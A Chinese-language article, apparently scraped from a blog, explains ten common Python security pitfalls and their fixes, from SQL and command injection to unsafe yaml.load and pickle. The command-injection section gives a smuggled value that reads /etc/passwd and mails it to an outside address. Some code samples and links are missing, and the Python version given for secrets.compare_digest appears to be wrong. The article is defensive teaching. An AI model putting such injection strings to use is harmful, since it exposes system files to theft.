编写安全的代码很困难,当你学习一门编程语言、一个模块或框架时,你会学习其使用方法。在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在标准库中,也存在着许多糟糕的实例。然而,许多 Python 开发人员却根本不知道这些。

以下是我总结的10个Python常见安全漏洞,排名不分先后。

1、输入注入

注入攻击影响广泛且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

SQL 注入是直接编写 SQL 查询(而非使用 ORM) 时将字符串与变量混合。我读过很多代码,其中“引号字符转义”被认为是一种修复,但事实并非如此,可以通过这个链接(

命令注入有可能在使用 popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

攻击者会将filename的值设置为“; cat /etc/passwd | mail them@domain.com或者其他同样危险的值。

修复方法:

如果你使用了 Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都有内置的清理方法。

对于 shell,可以使用 shlex 模块正确地转义输入。

2、解析XML

如果您的应用程序加载并解析XML文件,可能您正在使用一个XML标准库模块。有一些针对XML的常见攻击。大多数为DoS风格(旨破坏系统而不是盗取数据)。这些攻击很常见,特别是在解析外部(即不可信任的)XML文件时。

其中一种攻击为“billion laughs”,因为加载的文件包含了很多个(数十亿)“lols”。你可以加载XML实体文件,当XML解析器试图将这个XML文件加载到内存中时,会消耗很多个G的内存。不信就试试看:-)

另一种攻击使用外部实体扩展。 XML支持从外部URL引用实体,XML解析器通常会直接获取并加载该资源。“攻击者可以绕开防火墙访问保密资源,因为所有请求都是由内部可信的IP地址创建的,请求不是来自于外部。”

需要考虑的另一种情况是您要依赖于第三方软件包来解码XML,例如配置文件,远程API。您甚至不知道您的某个依赖包已经暴露在攻击之下。

修复方法:

直接用defusedxml(链接:https://pypi.org/project/defusedxml/)替换标准库模块。它增加了针对这类攻击的安全防护。

3、Assert 语句

不要使用 assert 语句来防止用户访问特定代码段。例如:

默认情况下,Python 以 __debug__ 为 true 来执行脚本,但在真实环境中,通常使用优化运行,这将会跳过 assert 语句并直接转到安全代码,而不管用户是否是 is_admin 。

修复方法:

仅在单元测试中使用 assert 语句。

4、计时攻击

计时攻击本质上是一种通过计算比较提供值所需时间来暴露行为和算法的方式。计时攻击需要精确性,所以通常不能用于高延迟的远程网络。由于大多数 Web 应用程序涉及可变延迟,因此几乎不可能针对 HTTP Web 服务器编写计时攻击。

这里有一个基于SSH计时攻击的Python 工具,你可以看看如何使用它。链接:

修复方法:

使用在 Python 3.5 中引入的 secrets.compare_digest 来比较密码和其他私密值。

5、感染site-packages 或导入路径

Python的导入系统非常灵活。当你为测试程序编写猴子补丁,或者重载核心函数时,你会感觉非常方便。

但这也是Python最大的安全漏洞之一。

将第三方包安装到site-packages中,无论是在虚拟环境中还是在全局site-packages中,你都将暴露在安全风险中。

有一些发布到PyPi的包与流行的包具有相似的名称,但是却执行了任意代码。幸运的是,这很可能没有太大危害,只会“明确表示”这个问题没有得到真正的解决。

需要考虑的另一种情况是多层依赖包。它们可能包含漏洞,它们也可以通过导入系统重写Python默认行为。

修复方法:

你可以利用http://PyUp.io这个网站提供的工具检查你的第三方包。使用虚拟环境,确保您的全局site-packages尽可能干净。检查包签名。

6、临时文件

要在 Python 中创建临时文件,你通常会使用 mktemp ( )函数生成一个文件名,然后使用该名称创建一个文件。 “这是不安全的,因为另一个进程可能会在调用 mktemp ( )和随后尝试通过第一个进程创建文件之间的空隙创建一个同名文件。”这意味着应用程序可能加载错误的数据或暴露其他的临时数据。

如果调用不正确,最新版本的 Python 会发出运行警告。

修复方法:

7、使用 yaml.load

这里引用 PyYAML 的说明文档:

警告:使用不可信源的数据调用 yaml.load 是不安全的! yaml.load 和pickle.load 一样强大,所以可以调用任何 Python 函数。

在流行的Python项目 Ansible 中找到的这样一个例子(链接:

所以,从用户提供的值中加载 YAML 文件会让应用大门洞开,很容易遭受攻击。

修复方法:

总是使用 yaml.safe_load,除非你有其它更好的方法。

8、Pickle漏洞

用pickle反序列化数据和YAML一样糟糕。在pickle对象时,Python类可以声明一个名为__reduce__的魔术方法,该方法返回一个字符串、或一个元组。攻击者可以使用它来引用其中一个子进程模块,在主机上运行任意命令。

修复方法:

切勿用pickle反序列化不受信任或未经身份验证的数据。改用另一种序列化模式,如JSON。

9、使用系统自带的Python而不修补漏洞

大多数可移植操作系统都自带Python2,通常还是旧版本。

由于“Python”,即CPython是用C语言编写的,所以Python解释器本身存在漏洞。 C语言中常见的安全问题与内存分配有关,所以存在缓冲区溢出错误。

多年来CPython出现了多个溢出漏洞,每个漏洞都在后续版本中进行了修复。

也就是说,如果你修补了Python本身的漏洞,你就是安全的。

修复方法:

安装最新版本的Python并及时修补漏洞。

10、不修补依赖包的漏洞

类似于修补Python本身的漏洞,您还需要定期修补依赖包漏洞。有人习惯于使用PyPi软件包的“固定”版本,这种做法很可怕。他们认为“这些是有用的版本”,所以每个人都对漏洞置若罔闻。

上面提到的所有漏洞如果存在于你使用的包中,它们同样很致命。这些软件包的开发人员无时不刻不在解决安全问题。

修复方法:

使用类似于http://PyUP.io这个网站提供的服务去检查更新,向应用程序发送pull/merge 请求,运行测试,让软件包保持更新。使用InSpec这样的工具(链接:

python框架漏洞_注意!Python中的10个常见安全漏洞及修复方法相关推荐

  1. python中常见的漏洞_注意!Python中的10个常见安全漏洞及修复方法

    原标题:注意!Python中的10个常见安全漏洞及修复方法 源 /Python程序员 编写安全的代码很困难,当你学习一门编程语言.一个模块或框架时,你会学习其使用方法.在考虑安全性时,你需要考虑如何避 ...

  2. Python中的10个常见安全漏洞及修复方法

    Python中的10个常见安全漏洞及修复方法 写安全的代码很困难,当你学习一门编程语言.一个模块或框架时,你会学习其使用方法.在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在 ...

  3. python 不安全的包或方法_Python中的10个常见安全漏洞及修复方法

    写安全的代码很困难,当你学习一门编程语言.一个模块或框架时,你会学习其使用方法.在考虑安全性时,你需要考虑如何避免代码被滥用,Python也不例外,即使在标准库中,也存在着许多糟糕的实例.然而,许多 ...

  4. Python中的10个常见安全漏洞简介

    简评:编写安全代码很困难,当你学习一个编程语言.模块或框架时,你会学习其使用方法. 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践.然而 ...

  5. python中常见的漏洞_Python 中的 10 个常见安全漏洞,以及如何避免(上)

    编写安全代码简短评论:是很困难的.当你学习一门编程语言,模块或框架,您将学习如何使用它.当考虑到安全,您需要考虑如何避免滥用.Python也不例外.即使在标准库,有不好的实践编写应用程序.然而,许多P ...

  6. Python 中的 10 个常见安全漏洞,以及如何避免(上)

    简评:编写安全代码很困难,当你学习一个编程语言.模块或框架时,你会学习其使用方法. 在考虑安全性时,你需要考虑如何避免被滥用,Python 也不例外,即使在标准库中,也存在用于编写应用的不良实践.然而 ...

  7. python 时间序列预测_使用Python进行动手时间序列预测

    python 时间序列预测 Time series analysis is the endeavor of extracting meaningful summary and statistical ...

  8. python 概率分布模型_使用python的概率模型进行公司估值

    python 概率分布模型 Note from Towards Data Science's editors: While we allow independent authors to publis ...

  9. c2665 “initgraph”: 2 个重载中没有一个可以转换所有参数类型_一个使用延迟候选项生成的用于自动化程序修复方法的工具...

    论文:Jinru Hua, Mengshi Zhang, Kaiyuan Wang, and Sarfraz Khurshid. 2018. SketchFix: A Tool for Automat ...

最新文章

  1. mysql dba系统学习(2)了解mysql的源码目录及源文件
  2. java IO(输入输出) 对象的序列化和反序列化
  3. sigmastarSSD201/SSD202 github上开源了!
  4. php7 ast,PHP7新特性之抽象语法树(AST)带来的变化详解
  5. Android在Service中显示Dialog
  6. 十七.激光和惯导LIO-SLAM框架学习之IMU和IMU预积分
  7. pip命令安装pygeme后 IDLE import pygame报错
  8. 数值的整数次方(代码的完整性)
  9. jersey spring_教程–带有Jersey和Spring的Java REST API设计和实现
  10. sqlyog简单入门使用
  11. AIDA64 5.92.4300 序列号
  12. C语言的基础实例应用——寻找符合条件的车牌
  13. 读取本地文件assets内容
  14. R语言数据异常值处理
  15. WPS无法保存——以下内容无法保存在未启用宏的文档中.vb工程
  16. android手机截图 视频,安卓Android手机相册视频如何隐藏
  17. 手机阅读行业分析(beta)
  18. Linux下修改MTU值
  19. MPa和psi,bar压力单位换算成公斤
  20. 微信小程序开发——动画效果

热门文章

  1. 【机器学习】输出层的设计
  2. C#流处理文件 文件读写常用类
  3. 大型网站的架构设计与演进
  4. 取消Eclipse的自动代码格式化
  5. jQuery1.11源码分析(8)-----jQuery调用Sizzle引擎的相关API
  6. AppDelegate文件下各方法的用法:(应用程序挂起、复原与终止)
  7. 蚂蚁金服自主研发的三地五中心异地多活解决方案获金融科技创新大奖
  8. 使用gogs搭建git私有仓库
  9. Windroy Lets Android run on Windows systems-- 国外androids 虚拟系统分享
  10. 南非看世界杯通信问题全攻略(世界杯与通信1)